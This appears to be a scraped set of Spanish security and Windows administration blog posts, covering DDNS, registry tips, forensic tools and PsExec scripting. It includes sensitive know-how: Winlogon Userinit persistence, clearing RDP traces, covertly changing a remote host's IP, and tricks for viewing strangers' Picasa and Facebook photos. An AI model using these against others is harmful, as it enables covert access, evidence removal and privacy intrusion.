nombre de dominio a la dirección IP pública que tengamos asignada en ese momento. Existen diversas web que ofrecen este tipo de servicio con un simple registro de cuenta en el sitio web en cuestión. Algunos sitios son gratuitos y otros de pago, muchos de los sitios gratuitos que ofrecen los servicios DDNS son gratuitos durante un período de tiempo y después habría que ir renovándolo, lo que supondría cambiar el nombre de dominio paulatinamente. Comentar antes de nada que simplemente bastaría con darse de alta en el proveedor de servicio que ofrezca DDNS, creando una nueva cuenta de usuario, este ya detecta la IP pública actual y cuando añadimos un host DDNS este servicio ya redirecciona el nombre de host a la IP pública de forma automática, (en ocasiones dependiendo el tipo de dominio puede tardar más o menos en actualizar la información). Pero en el caso de un posible cambio de IP pública por parte de nuestro ISP habría que notificar al servicio que nos ofreció DDNS que hay una renovación de dirección IP, para mantener esta actualización de dirección IP tendremos dos formas de hacerlo. Configurando nuestra cuenta DDNS en nuestro router y tipificando el servicio oportuno. Configurando un cliente del propio servicio con nuestra cuenta DDNS en el sistema. En mi caso y para ilustrar esto con un ejemplo me basaré en los servicios DDNS que ofrece noip.com. En primer lugar nos registramos en el web de noip.com, elegimos que queremos crear nuestro hostname más tarde y en un principio elegimos un servicio gratuito DDNS. En el que nos pedirá un user y password vinculado a una dirección e-mail. Figura 1: Registro gratuito en noip.com. Una vez nos registramos confirmamos la activación de cuenta y accedemos al Cpanel de nuestra cuenta noip. Añadiremos un nuevo host por lo que nos dirigimos a la sección: Host/Redirects \u0026gt; Add host \u0026gt; y creamos un nuevo hostname podremos escoger entre múltiples tipos de dominios. Dejaremos el tipo de host en DDNS Host (A). En este punto y en el caso de noip, de manera opcional nos deja elegir si queremos pasar a un servicio de pago en el que durante un año tendremos diversas ventajas que no tendremos con un servicio gratuito. Figura 2: Añadiendo un hostname DDNS en noip. Con esto ya tendríamos configurada una cuenta con un hostname DDNS en noip. El cual apuntaría a la dirección IP pública actual. Si queremos que esta información se actualice con el paso del tiempo, por si nuestro ISP nos asigna otra dirección IP pública distinta. Cuidado al exponer servicios directamente a Internet Abrir un puerto vía NAT + DDNS deja el servicio escaneable y atacable por toda Internet en cuestión de minutos. Servicios sensibles como RDP, SSH, SMB, FTP o paneles de administración web son objetivos constantes de fuerza bruta y exploits conocidos. Si necesitas acceso remoto, ponlo detrás de una VPN, un gateway con MFA o, al menos, restringe el origen por IP y combina con port knocking o autenticación por clave. Configuración de una cuenta DDNS en el router Link to heading Si es posible y nuestro router personal (SOHO) nos lo permite, configuramos la cuenta DDNS que creamos anteriormente. Tendremos que mirar no solo si nuestro router nos permite configurar un DDNS, sino si el servicio DDNS es del mismo proveedor en la que creamos la cuenta (DynDNS, NoIP, TZO, etc.) hay routers neutros que disponen de la mayoría de proveedores, pero no todos son así. En el panel de configuración del router buscamos la sección de DDNS en la que tendremos que introducir el hostname creado seguido del tipo de servicio, en este caso podemos establecer el proveedor No-IP, el ciclo de actualización sería \u0026ldquo;Cambio de IP\u0026rdquo; y por último, user y password de la cuenta creada. La interfaz de cada router suele variar de unos modelos a otros, pero la idea sigue siendo la misma. Figura 3: Configuración de cuenta DDNS en router SOHO. En el caso de que no dispongamos de esta opción en nuestro router o sencillamente nuestro router no disponga del servicio del proveedor en el que nos habíamos registrado (en este caso No-IP) y solo dispongamos de DynDNS. Entonces, tendremos que instalar el cliente DUC de noip en nuestro equipo local anfitrión este mantendrá la IP pública actualizada y sincronizada con nuestra cuenta noip de modo que nuestro hostname DDNS siempre nos redirija a la IP actual en todo momento exitosamente. DUC está disponible para sistemas Windows/Linux/MacOS. Instalación y configuración de DUC (noip) en Windows Link to heading Descargamos el cliente de la web oficial llamado DUC (Dynamic DNS Update Client), simplemente lo descargamos, lo instalamos e introducimos nuestras credenciales de cuenta. Veremos que tendremos el cliente corriendo en nuestro sistema, si lo deseamos podremos establecer una password de acceso para las configuraciones del cliente. Figura 4: DUC inicializado y corriendo en el sistema. En los servicios de Windows podemos comprobar que el servicio de noip-DUC está iniciado en background en el sistema (ducservice.exe). Figura 5: Servicio de DUC iniciado en el sistema. Cada vez que encendemos nuestro equipo tendremos que ejecutar de forma manual DUC si queremos que el servicio esté iniciado en el sistema. Si queremos que el servicio del cliente DUC se inicie de forma automática en el sistema, tendremos que activar los checkbox de inicio automático en el arranque del sistema. Startup para el servicio y para la propia aplicación cliente DUC. Figura 6: Habilitar inicio automático del servicio/cliente DUC en el arranque del sistema. Instalación y configuración de DUC (noip) en Linux (Ubuntu) Link to heading Abrimos una terminal con permisos de superusuario (sudo su). Descargamos el siguiente paquete: wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz Descomprimimos el paquete. tar xzf noip-duc-linux.tar.gz Entramos en el directorio. cd no-ip-2.1.9 Instalamos. sudo make Si tenemos problemas para instalar make será necesario instalar el compilador gcc. sudo apt-get install gcc Instalamos con make. sudo make install Configuramos noip, en el que tendremos que introducir la cuenta creada en noip y seleccionar el DDNS. /usr/local/bin/noip2 -C En mi caso dispongo de varios DDNS, por lo que tuve que seleccionar solo uno de ellos. Figura 7: Asistente de configuración por terminal de una cuenta noip en Linux. Iniciamos el cliente noip. sudo /usr/local/bin/noip2 Figura 8: Script de llamada de inicio para noip2. Si queremos que noip2 se cargue de forma automática en el arranque del sistema. Creamos un fichero. sudo nano /etc/init.d/noip2 En este fichero agregamos la siguiente instrucción. #! /bin/sh sudo /usr/local/bin/noip2 Figura 9: noip2 corriendo en el sistema. Le damos permisos de ejecución al fichero. sudo chmod +x /etc/init.d/noip2 Agregamos la entrada al fichero de inicio. sudo update-rc.d noip2 defaults Ayuda de parámetros NoIP: /usr/local/bin/noip2: Arranca el cliente noip /usr/local/bin/noip2 -C: Configura el cliente noip /usr/local/bin/noip2 -S: Visualiza el Estado del Cliente /usr/local/bin/noip2 -D pid: Cambia el estado de depuración del cliente pid /usr/local/bin/noip2 -K pid: Finaliza el cliente pid Más información sobre la instalación del cliente DUC de NoIP en su web oficial: Windows: http://www.noip.com/support/knowledgebase/installing-the-windows-4-x-dynamic-update-client-duc Linux: http://www.noip.com/support/knowledgebase/installing-the-linux-dynamic-update-client Saludos! "},{"title":"Privacidad expuesta por medio del feed de Picasaweb","url":"/posts/privacidad-expuesta-por-medio-del-feed-de-picasaweb/","summary":"Este simple y pequeño tip nos permite ver fotos de perfiles públicos en picasaweb.google.com un servicio que Google suele ofrecer sincronización con la cuenta de Google global del usuario.\nServicios …","tags":["OSINT","Hacking Ético"],"date":"2015-09-06","content":"Este simple y pequeño tip nos permite ver fotos de perfiles públicos en picasaweb.google.com un servicio que Google suele ofrecer sincronización con la cuenta de Google global del usuario. Servicios que usemos de Google y en el cual compartamos de algún modo imágenes a través de ellos podrán ser publicadas de forma pública en picasaweb: La galería de imágenes del teléfono, Blogger, Hangouts, etc. Simplemente si accedemos a un feed aleatorio como por ejemplo puede ser este. http://picasaweb.google.com/data/feed/base/all?q=IMG0015+jpg+20150815 Veremos que podremos realizar búsquedas en base a esta muestra de feed, donde: IMG0015: Serán las palabras que llevará por título la imagen en la búsqueda. jpg: El tipo de imagen a mostrar. 20150825: Fecha en orden año/mes/día. Palabras que contengan en sus títulos IMG o WA, lo más seguro es que salgan fotos de gente que no sabe que tiene el picasa sincronizado con su cuenta de Google. Finalmente clickando en algunas de las imágenes podremos acceder al perfil de dicho usuario y de ese modo ir navegando por sus álbumes, comprometiendo así su privacidad. Esto no es un bug ni nada por el estilo, es un \u0026ldquo;fallo\u0026rdquo; del propio usuario. Bien es verdad que Google en ocasiones sincroniza sus servicios sin avisar o avisa al usuario final de un modo \u0026ldquo;transparente\u0026rdquo; pero será el usuario quien sea el responsable de estar pendiente de su privacidad y de revisar las configuraciones de los servicios de los que forma parte y así restringir determinados accesos de una forma pública a privada. Revisar siempre la configuración de privacidades y permisos de cuentas en las que estáis registrados, a veces dedicar un mínimo de tiempo a estas tareas evitaremos este tipo de filtraciones públicas mal intencionadas y consiguiremos la privacidad de la persona. Saludos! "},{"title":"Eliminar la caché de equipos en conexiones RDP","url":"/posts/eliminar-cache-equipos-conexiones-rdp/","summary":"Si hemos realizado conexiones por Terminal Services (escritorio remoto) veremos que estas guardan o quedan cacheadas en el panel de conexión por escritorio remoto.\nLa caché guarda temporalmente los …","tags":["DFIR","Análisis Forense","Anti-Forense","RDP","Regedit"],"date":"2015-08-26","content":"Si hemos realizado conexiones por Terminal Services (escritorio remoto) veremos que estas guardan o quedan cacheadas en el panel de conexión por escritorio remoto. La caché guarda temporalmente los datos recientemente procesados de modo que la siguiente vez que nos queramos conectar a otro equipo lo tengamos más cómodo a la hora de introducir los datos necesarios. Figura 1: Nombres de equipo en los que se tuvo alguna vez conexión RDP. Si la conexión al equipo remoto se llega a establecer, el dato de nombre de equipo, dirección IP o DDNS que hubiésemos usado, quedará guardado para esa sesión de usuario en concreto. Si queremos eliminar esta caché de datos, la podremos encontrar registrada en la siguiente ruta de registro: HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers En Windows 10: HKEY_USERS\\\u0026lt;**SID-USUARIO**\u0026gt;\\SOFTWARE\\Microsoft\\Terminal Server Client\\Servers En formato de claves de registro están generados todos los nombres de equipo, IP o DDNS a los que nos hubiésemos conectado. Simplemente tendríamos que eliminar todas las claves o la que queramos borrar el registro de conexión almacenada. Estas, aparte del nombre del equipo de conexión también almacenan el nombreDeEquipo\\UsuarioDeConexión en un valor de cadena llamado UsernameHint. Figura 2: Path del registro donde se almacenan los datos de conexiones RDP. También tendríamos que eliminar el valor de cadena correspondiente en el path de registro: HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default Situado en la misma ruta pero en una clave más arriba, veremos la clave Default. Esta clave nos indica el orden de prioridad en el que se nos mostrará la lista de conexiones al desplegar la barra de la ventana de \u0026ldquo;Conexión a Escritorio remoto\u0026rdquo;. Figura 3: Valores de cadena de orden de prioridad para conexiones Terminal Services. Este orden son expresados por valores de cadena (REG_SZ) los cuales llevan nombres del tipo: MRU0, MRU1, MRU2, MRU3, etc. acompañados con el valor de datos del nombre de equipo, IP o DDNS a conectarse. Si lo que queremos no es borrar el valor MRUX y lo que queremos es variar el orden, bastará con renombrar los nombres MRUX, donde \u0026ldquo;X\u0026rdquo; indica el número de orden de prioridad de mayor a menor. Saludos! "},{"title":"Iniciar aplicaciones antes de la carga de perfiles de usuario","url":"/posts/iniciar-aplicaciones-antes-perfiles-usuario-windows/","summary":"Si queremos iniciar una determinada aplicación en background antes de la carga de cualquier perfil de usuario, de modo que ya esté disponible cuando encendamos el equipo y nos aparezca la pantalla de …","tags":["Post-Explotación","Red Team","Persistencia","MITRE ATT\u0026CK","Regedit"],"date":"2015-08-23","content":"Si queremos iniciar una determinada aplicación en background antes de la carga de cualquier perfil de usuario, de modo que ya esté disponible cuando encendamos el equipo y nos aparezca la pantalla de bienvenida de Windows sin necesidad de iniciar sesión en la máquina local. Vector clásico de persistencia Modificar HKLM\\...\\Winlogon\\Userinit es una técnica documentada de persistencia (MITRE ATT\u0026amp;CK T1547.004). Cualquier alteración será marcada por EDR/AV maduros y queda en logs forenses. Si lo usas como administrador legítimo, documenta el binario añadido y notifica al equipo de seguridad para evitar incidentes. Simplemente tendremos que indicar la ruta del fichero binario .exe que lanza la aplicación en el siguiente path del registro. HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon Una vez estemos en la clave Winlogon, a continuación buscamos el valor de cadena \u0026ldquo;Userinit\u0026rdquo; el cual tendremos que añadir el valor de ruta del fichero a ejecutar, por ejemplo: C:\\Program Files (x86)\\CARPETA_APLICACIÓN\\FICHERO.EXE. Si queremos agregar más aplicaciones tendremos que separar las rutas por comas (,). Figura 1: Winlogon, añadiendo aplicación en userinit. El valor de cadena Userinit nos permite añadir aplicaciones u otros ficheros antes de la carga de perfiles de usuario de Windows. Info. oficial de Microsoft: https://technet.microsoft.com/en-us/library/cc939862.aspx Saludos! "},{"title":"¿Cómo se procesan las GPO en un dominio? (Directivas de grupo)","url":"/posts/como-procesan-gpo-dominio-directiva-grupo/","summary":"Competencia entre contenedores.\nUna GPO, como ya hemos visto anteriormente, puede ser contenida por equipos locales, sitios, dominios y unidades organizativas (en adelante OU).\nComo un usuario, por …","tags":["Hardening","Blue Team","GPO","Active Directory"],"date":"2015-08-14","content":"Competencia entre contenedores. Una GPO, como ya hemos visto anteriormente, puede ser contenida por equipos locales, sitios, dominios y unidades organizativas (en adelante OU). Como un usuario, por ejemplo, estará en un equipo local que a su vez se ubicará en un sitio, pertenecerá a un dominio y será miembro de una OU se ve claramente que se puede dar el caso de que en el equipo local se aplique una GPO, en el sitio otra, otra para el dominio y otra para la OU (e incluso para la OU hija, de tercer nivel, etc.). Se podría dar el caso, por tanto, de que las GPO contuvieran políticas que se contradijeran entre sí. Cuando se dan casos de estos, el sistema de GPO está implementado para asegurar que siempre se aplicarán las políticas, y para ello establece una forma de prioridad entre éstas por la cual, según dónde estén asignadas, unas prevalecen sobre otras atendiendo a una serie de reglas que a continuación, con la ayuda de dos figuras, describiremos. Figura 1: Prioridades de las GPO. En la figura 1 vemos, de forma resumida, cuál es la prioridad de las GPO. Las GPO de una OU prevalecen sobre las del dominio, que a su vez prevalecen sobre las de sitio, las cuales a su vez prevalecen sobre las del equipo local. Por prevalecer no se entiende que unas anulen a otras; las políticas se suman, sólo se anulan en caso de ser contradictorias entre ellas. Por ejemplo, si a nivel de dominio habilitamos la política de deshabilitación del panel de control y en la OU deshabilitamos esta política, y suponemos que ninguna otra de las políticas a nivel de dominio entra en contradicción con ninguna otra de las de la OU, el resultado que se aplicará a un objeto contenido dentro de la OU será la suma de ambas GPO, salvo que la política que se aplica respecto a la deshabilitación del panel de control será la de la OU, no la del dominio, y por tanto el panel de control será visible. En la figura 2 vemos un diagrama de flujo que nos explica cómo son aplicadas las GPO; se puede apreciar el orden en que son leídas y cómo se actúa en caso de que se contradigan o no. Como se puede suponer, si hubiera una OU de tercer nivel, ésta prevalecería sobre la hija y obviamente una de cuarto nivel sobre la de tercer nivel y así sucesivamente: Figura 2: Diagrama de flujo de aplicación de las GPO. Más info en: http://freyes.svetlian.com/GPOS/GPOS.htm Saludos! "},{"title":"Registro de Windows desde CLI: estructura y jerarquía (regedit)","url":"/posts/registro-windows-linea-comandos-jerarquia-regedit/","summary":"Dejo una estupenda guía muy detallada y extensa de \u0026ldquo;© Fernando Reyes López\u0026rdquo; es ya de 2005, pero al tratarse de una guía que habla sobre el registro de Windows y su interacción en consola …","tags":["DFIR","Análisis Forense","Regedit"],"date":"2015-07-07","content":"Dejo una estupenda guía muy detallada y extensa de \u0026ldquo;© Fernando Reyes López\u0026rdquo; es ya de 2005, pero al tratarse de una guía que habla sobre el registro de Windows y su interacción en consola no varía prácticamente nada en su uso hasta la fecha actual. Debido a que no es una guía mía y es muy extensa mejor dejo el enlace directo a la propia web del autor: http://freyes.svetlian.com/registro/registro.htm Guía detallada de la estructura jerárquica del registro de Windows (regedit). http://systemmanager.ru/win2k_regestry.en/index.html Saludos! "},{"title":"Ver fotos de perfiles privados de Facebook","url":"/posts/ver-fotos-de-perfiles-privados-de-facebook/","summary":"Esta entrada ya la había publicado hace tiempo pero por ciertos motivos tuve que eliminarla, hoy por otros motivos y petición de ciertos usuarios decidí reabrirla.\nRealmente con este método no se …","tags":["OSINT","Privacidad","Red Team","Fingerprint"],"date":"2015-02-22","content":"Esta entrada ya la había publicado hace tiempo pero por ciertos motivos tuve que eliminarla, hoy por otros motivos y petición de ciertos usuarios decidí reabrirla. Realmente con este método no se visualizan las fotos o publicaciones de perfiles privados de Facebook, sino que es una forma de ver las fotos etiquetadas, que le gustaron, comentarios en fotos, etc. de dichos perfiles privados. Esto tampoco se puede considerar un fallo de seguridad de Facebook, pero sí a mi modo de ver una invasión de la privacidad de los usuarios que forman parte de esta red social. Antes de nada comentar que, necesitamos estar registrados en la plataforma de Facebook. Ahora simplemente buscamos el perfil del usuario: https://www.facebook.com/**nombreDelUsuario** Donde \u0026ldquo;nombreDelUsuario\u0026rdquo;, es el nombre del perfil que nos interesa. Ahora tendremos que conocer el ID que identifica a este usuario, este ID Facebook lo interpreta como una secuencia numérica que apunta al nombre de usuario. Para poder saber qué ID es el del usuario en cuestión tenemos dos opciones: Sobre cualquier espacio en blanco de la página de Facebook del usuario en cuestión hacemos clic derecho \u0026gt; \u0026ldquo;Ver código fuente de la página\u0026rdquo;. Se nos abrirá una ventana en la que pulsaremos las teclas: Ctrl+F, para a continuación buscar \u0026ldquo;profile_id\u0026rdquo; (sin comillas) y pulsaremos la tecla Enter. El primero que encontremos nos servirá, el cual se mostrará similar a lo siguiente: \u0026ldquo;profile_id\u0026rdquo;:0000000000000000 Donde la secuencia de \u0026ldquo;0\u0026rdquo; (ceros) es el número ID que identifica al nombre de usuario. La otra opción de conocer este ID es haciendo uso de la propia web oficial de Facebook, en la que cuenta con un API para ello. (https://developers.facebook.com/docs/graph-api) Entramos en la web: https://graph.facebook.com/nombreDelUsuario Una vez pulsemos Enter, veremos algo como esto. { \u0026#34;id\u0026#34;: \u0026#34;**0000000000000000**\u0026#34;, \u0026#34;first_name\u0026#34;: \u0026#34;Nombre\u0026#34;, \u0026#34;gender\u0026#34;: \u0026#34;Sexo\u0026#34;, \u0026#34;last_name\u0026#34;: \u0026#34;Apellido\u0026#34;, \u0026#34;link\u0026#34;: \u0026#34;https://www.facebook.com/nombreDelUsuario\u0026#34;, \u0026#34;locale\u0026#34;: \u0026#34;Localidad\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Nombre del Perfil\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;nombreDelUsuario\u0026#34; } Una vez ya sepamos cuál es el ID que identifica a dicho usuario, copiaremos y colocaremos este ID en la siguiente URL: https://www.facebook.com/search/**0000000000000000** Donde la secuencia de \u0026ldquo;0\u0026rdquo; sería el ID en cuestión. Por último tendremos que colocar después del ID el tipo de búsqueda que queramos hacer, estas son algunas referencias y los que yo en su día había encontrado. /photos-tagged = Fotos etiquetadas /photos-of = Fotos de\u0026hellip; /photos-by = Fotos por\u0026hellip; /photos-liked = Fotos a las que hizo Like /photos-of/intersect = Más fotos /photos-commented = Comentarios en fotos /pages-liked = Páginas que le gusta /groups = Grupos Un ejemplo final sería: https://www.facebook.com/search/**IDdelUsuario/photos-tagged** Donde IDdelUsuario sería lógicamente la secuencia numérica respectiva y a continuación, en este caso, se mostrarían los resultados de las fotos en las que a ese usuario otros usuarios le etiquetaron o aparece etiquetado. Esto no tiene gran misterio, ya que lo que se está haciendo es realizar una búsqueda interna de las bases de datos de Facebook hacia ese ID, ya que la referencia más habitual para las bases de datos es que sea un identificador unívoco \u0026ldquo;ID\u0026rdquo; y no un \u0026ldquo;nombreDeUsuario\u0026rdquo;. Dentro de esa búsqueda solo nos queda referenciar qué tipo o hacia dónde queremos buscar: fotos etiquetadas, fotos de \u0026hellip;, comentarios en fotos, etc. Y que finalmente se muestren estos resultados. Saludos! "},{"title":"PeStudio: analizar ejecutables .exe y .dll en busca de malware","url":"/posts/pestudio-analizar-exe-dll-malware/","summary":"PeStudio es un software gratuito si se destina a uso personal, el que nos permitirá ver y/o analizar ficheros .exe y librerías dinámicas .dll, entre otros ficheros.\nEn estos análisis nos muestra …","tags":["Análisis de Malware","Análisis Forense","DFIR","Malware","PEStudio","IoC"],"date":"2014-12-30","content":"PeStudio es un software gratuito si se destina a uso personal, el que nos permitirá ver y/o analizar ficheros .exe y librerías dinámicas .dll, entre otros ficheros. En estos análisis nos muestra diversos aspectos de un fichero en los cuales podemos investigar para saber qué acciones realiza dicho fichero cuando lo ejecutamos, de este modo, podremos saber si se trata de un malware y en ese caso mirar qué acciones podría llevar a cabo. Figura 1: Analizando un .exe de un software de terceros reconocido apunta hacia un website como muestra en la captura. En este ejemplo vemos como el fichero .exe de instalación en una de sus cadenas apunta hacia un website, se trata de una aplicación de terceros reconocida. ¿Por qué redirige a dicha página web? la cual por lo que pude comprobar se trata de una web de cracking, principalmente esto fue intencionado para dar a conocer una de muchas funcionalidades de esta herramienta, dicha aplicación fue descargada de una página de software también reconocida, con esto aprovecho para comentar que es mejor descargar siempre software desde las webs oficiales del propio fabricante o autor. Saludos! "},{"title":"WER (Windows Error Reporting): logs de crashes y bloqueos","url":"/posts/wer-windows-error-reporting-logs-crashes-bloqueos/","summary":"En ocasiones ocurren inesperados crashes en aplicaciones o procesos del sistema que provocan a su vez comportamientos anómalos (cuelgues/congelados) en software de terceros.\nErrores habituales del …","tags":["DFIR","Análisis Forense","Threat Hunting","Event Logs","Regedit","Blue Team"],"date":"2014-12-26","content":"En ocasiones ocurren inesperados crashes en aplicaciones o procesos del sistema que provocan a su vez comportamientos anómalos (cuelgues/congelados) en software de terceros. Errores habituales del tipo: \u0026ldquo;explorer.exe dejó de responder\u0026rdquo;, \u0026ldquo;iexplorer.exe dejó de funcionar\u0026rdquo;, \u0026ldquo;ocurrió un error inesperado con outlook.exe, dejó de funcionar\u0026rdquo;, etc. Para este tipo de casos y poder generar un log en el que podamos analizar por qué dicha aplicación se quedó bloqueada, es necesario habilitar el servicio Windows Error Reporting (WER) en los servicios de Windows, por defecto suele estar habilitado. Este servicio registra todos los eventos de errores ya sean software o hardware de nuestro OS Windows, para después enviar un reporte a Microsoft con información relevante al error ocurrido. Si es que antes el propio servicio en sus tablas de posibles causas ya registradas no lo resuelve antes. Ahora podremos hacer esto de forma manual en el registro de Windows o simplemente copiar el código de registro que dejo a continuación y pegarlo en un documento de texto al que guardaremos y ejecutaremos posteriormente, con el nombre que queramos pero con extensión .reg. Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\LocalDumps\\Explorer.exe] \u0026#34;DumpFolder\u0026#34;=\u0026#34;C:\\\\WER Dumps\u0026#34; \u0026#34;DumpType\u0026#34;=dword:00000002 [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\explorer.exe] \u0026#34;GlobalFlag\u0026#34;=dword:02000100 \u0026#34;PageHeapFlags\u0026#34;=dword:00000003 Después de haber hecho lo anterior el servicio WER escribirá un registro detallado del problema en el directorio C:\\WER Dumps. Aunque también existe, faltaría más!, una aplicación al respecto para realizar estas tareas de forma más cómoda. AppCrashView es un software propiedad de Nirsoft con el que veremos las posibles causas de por qué una aplicación/proceso quedó bloqueado/a y/o no responde. Figura 1: AppCrashView analizando un log de iexplorer.exe después de dejar de responder. Nos mostrará las librerías dependientes al error causado, paths, alertas de mensajes, podremos guardar el log o informe, entre otras cosas. Una vez se lanza la aplicación con privilegios administrativos, esta escanea hasta la fecha actual los errores de momentos reportados por el servicio WER, de tal modo que nos muestra dichos \u0026ldquo;bloqueos\u0026rdquo; con sus logs en la parte inferior en plaintext para poder interpretarlos con claridad. Más información sobre WER: http://msdn.microsoft.com/en-us/library/windows/desktop/bb513613(v=vs.85).aspx http://msdn.microsoft.com/en-us/library/windows/desktop/bb513638(v=vs.85).aspx Saludos! "},{"title":"PNPUTIL: instalar controladores en el DriverStore de Windows","url":"/posts/pnputil-instalar-controladores-driverstore-windows/","summary":"Pnputil.exe es una pequeña herramienta que se usa mediante una command prompt de manera sencilla.\nEsta utilidad nos permite principalmente; agregar y/o eliminar drivers o controladores que están …","tags":["Hardening"],"date":"2014-12-11","content":"Pnputil.exe es una pequeña herramienta que se usa mediante una command prompt de manera sencilla. Esta utilidad nos permite principalmente; agregar y/o eliminar drivers o controladores que están preinstalados en la base de datos de nuestro MS Windows. Lo cual esto nos puede resultar útil si necesitamos instalar equipos en producción en un entorno corporativo en el que se disponen de múltiples modelos de impresoras. Podemos preestablecer en una imagen o maqueta del sistema estos drivers ya instalados como si se trataran de forma nativa en Windows. Y de este modo ahorrarnos el buscar/copiar el driver de dichas impresoras en el equipo en cuestión. Estos drivers se almacenan por defecto en el repositorio de la DriverStore de Windows. Carpeta la cual se encuentra en el siguiente path: %systemroot%\\System32\\DriverStore\\FileRepository Por ejemplo solo lo que son los controladores de impresoras se componen en su mayoría de ficheros .cat, .dll, .inf, etc. Incluso algunos modelos de impresoras u otros dispositivos solo necesitan un fichero de .inf para que Windows reconozca dicho dispositivo. Los ficheros *.INF son archivos que almacenan el código de información para la instalación y funcionalidad de los controladores de cualquier tipo de dispositivo. Para mostrar un ejemplo de todo esto. En mi equipo, Windows 7 por defecto no viene con Drivers para una determinada marca de impresora (Citizen), en este caso, voy instalar los controladores de dicha impresora para diferentes modelos de la misma marca, en los que después por defecto me aparecerán en la lista de drivers de Windows, ya que estos se guardarán en el DriverStore. En primer lugar, mirar si disponemos del controlador ya preinstalado en el sistema. Figura 1: No se muestran controladores Citizen. Una vez que tengamos a mano la carpeta del controlador que queramos instalar. Abrimos una consola CMD con privilegios administrativos y escribimos: pnputil -a Citizen.inf Con el argumento -a (add) añadimos al repositorio de Windows un driver. Podríamos ejecutar el comando situados en otra ruta, simplemente en ese caso tendríamos que hacer referencia de ella, por ejemplo: %PATH%\\Fichero.inf . En la captura se observa como el fichero Citizen.inf almacenará en este caso diferentes modelos de impresora para esta marca. Figura 2: Añadiendo diversos modelos de controladores de Citizen con pnputil -a. En el transcurso de la copia de drivers a la DriverStore, Windows nos puede informar acerca de la firma legítima del fabricante en el controlador, si se trata o no de un controlador de confianza. Por seguridad y para evitar posibles malwares todo fabricante debería firmar sus controladores para todos sus modelos, pero por tema de costes muchos de ellos no llegan a cumplir esto, incluso si se trata de marcas reconocidas. Otro caso, puede ser en el que tengamos y queramos otra estructura de drivers según marca/modelo en el que existan varios ficheros .inf. Podemos agregar todos con el carácter comodín: *. pnputil -a *.inf Ahora volviendo al repositorio que nos ofrece Windows por defecto, vemos que se ha añadido una nueva marca con sus respectivos modelos en la DriverStore de Windows. En este ejemplo el fichero Citizen.inf, contenía diversos modelos de impresoras de la marca Citizen. Pero no siempre será así, en otras ocasiones solo habrá el driver específico de un modelo y marca. Eso dependerá de la construcción/programación del controlador por parte del fabricante. Figura 3: Ya disponemos de una nueva marca y modelos en el repositorio DriverStore de Windows. Saludos! "},{"title":"USBDeview y GhostBuster: información de dispositivos USB en Windows","url":"/posts/usbdeview-ghostbuster-dispositivos-usb-windows/","summary":"USBDeview es una pequeña aplicación de nirsoft.net que nos muestra información muy detallada de los dispositivos USB conectados actuales o que en un pasado estuvieron conectados en un equipo.\nFigura …","tags":["DFIR","Análisis Forense","USB","USBDeview","Nirsoft","Blue Team","IoC"],"date":"2014-09-02","content":"USBDeview es una pequeña aplicación de nirsoft.net que nos muestra información muy detallada de los dispositivos USB conectados actuales o que en un pasado estuvieron conectados en un equipo. Figura 1: Analizando dispositivos USB USBDeview. Este tipo de información nos puede ser útil para análisis forenses mostrándonos información de dispositivos conectados en un pasado. Aprovecho para comentar que la rama del registro de Windows donde podremos ver el ID y demás información de cada dispositivo USB conectado. HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Enum\\USB HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR Otra información similar se guarda en fichero log de Windows, se encuentra en el path: c:\\windows\\inf\\setupapi.dev.log Ghostbuster es un software que nos proporcionará información detallada de todos los dispositivos conectados en el equipo. Podremos encontrar la clave de registro de Windows correspondiente. Eliminar esos \u0026ldquo;dispositivos fantasmas\u0026rdquo; que la propia herramienta le llama, refiriéndose a dispositivos que estuvieron conectados en un pasado y ya no se utilizan y aquellos dispositivos que permanecen ocultos a simple vista para el usuario, siendo estos de más bajo nivel. Figura 2: Analizando información del dispositivo interface de red con Ghostbuster. Saludos! "},{"title":"Cambiar IP remotamente de forma subyacente con PsExec","url":"/posts/cambiar-ip-remotamente-subyacente-psexec/","summary":"Ya hablé del conjunto de herramientas que componen el paquete PsTools desarrolladas por Mark Russinovich (Sysinternals), las cuales nos permiten entre otras cosas realizar administraciones a equipos …","tags":["Red Team","Post-Explotación","PsTools","PsExec","Netsh","Redes"],"date":"2014-03-19","content":"Ya hablé del conjunto de herramientas que componen el paquete PsTools desarrolladas por Mark Russinovich (Sysinternals), las cuales nos permiten entre otras cosas realizar administraciones a equipos remotos de una red. En esta ocasión haré uso de una de estas herramientas. PsExec la cual nos permite ejecutar procesos de un equipo remoto. Por ejemplo; realizar comandos en una shell remota, estos comandos NO se verán remotamente, es decir, que se hace transparente al usuario final y/o remoto. En este caso mostraré un pequeño batch processing (.bat) que con ayuda de esta herramienta nos permitirá cambiar la dirección IP remota ACTUAL por una nueva asignación de dirección IP. Riesgo de pérdida de conexión Cambiar IP, máscara o gateway en un equipo remoto puede dejarlo inalcanzable inmediatamente si el nuevo valor no es válido en su red. Sin acceso físico ni gestión out-of-band, la única recuperación será presencial. Copiando este script y pegándolo en fichero de texto, renombrándolo con una extensión .bat. @echo off echo ++ Introduce la IP del equipo Remoto: set /p ipremota= echo. echo ++ Introduce la nueva IP a establecer: set /p ipnueva= echo. echo ++ Introduce la mascara correspondiente: set /p mascara= echo. echo ++ Introduce la Gateway correspondiente: set /p gateway= echo. echo ++ Introduce el nombre de la interfaz: Ej: Conexión de área local set /p interfaz= echo. psexec \\\\%ipremota% -u UsuarioAdmin -p PasswordAdmin -s netsh interface ip set address name=\u0026#34;%interfaz%\u0026#34; source=static %ipnueva% %mascara% %gateway% 1 exit Simplemente creamos y establecemos las variables a tener en cuenta y que nos harán falta para el uso de psexec. La principal e importante es la dirección IP, ya que la Subnetmask y la Gateway son opcionales, dependiendo de nuestras necesidades. En mi caso es necesario ya que necesito cambiar IPs remotas que están fuera del rango habitual de mi red actual, pero que sin embargo sí forman parte de mi tabla de enrutamiento (route print). Después hacemos uso de la herramienta PsExec de manera que hagamos referencia a la IP remota (ya introducida como una variable), así como las posteriores variables 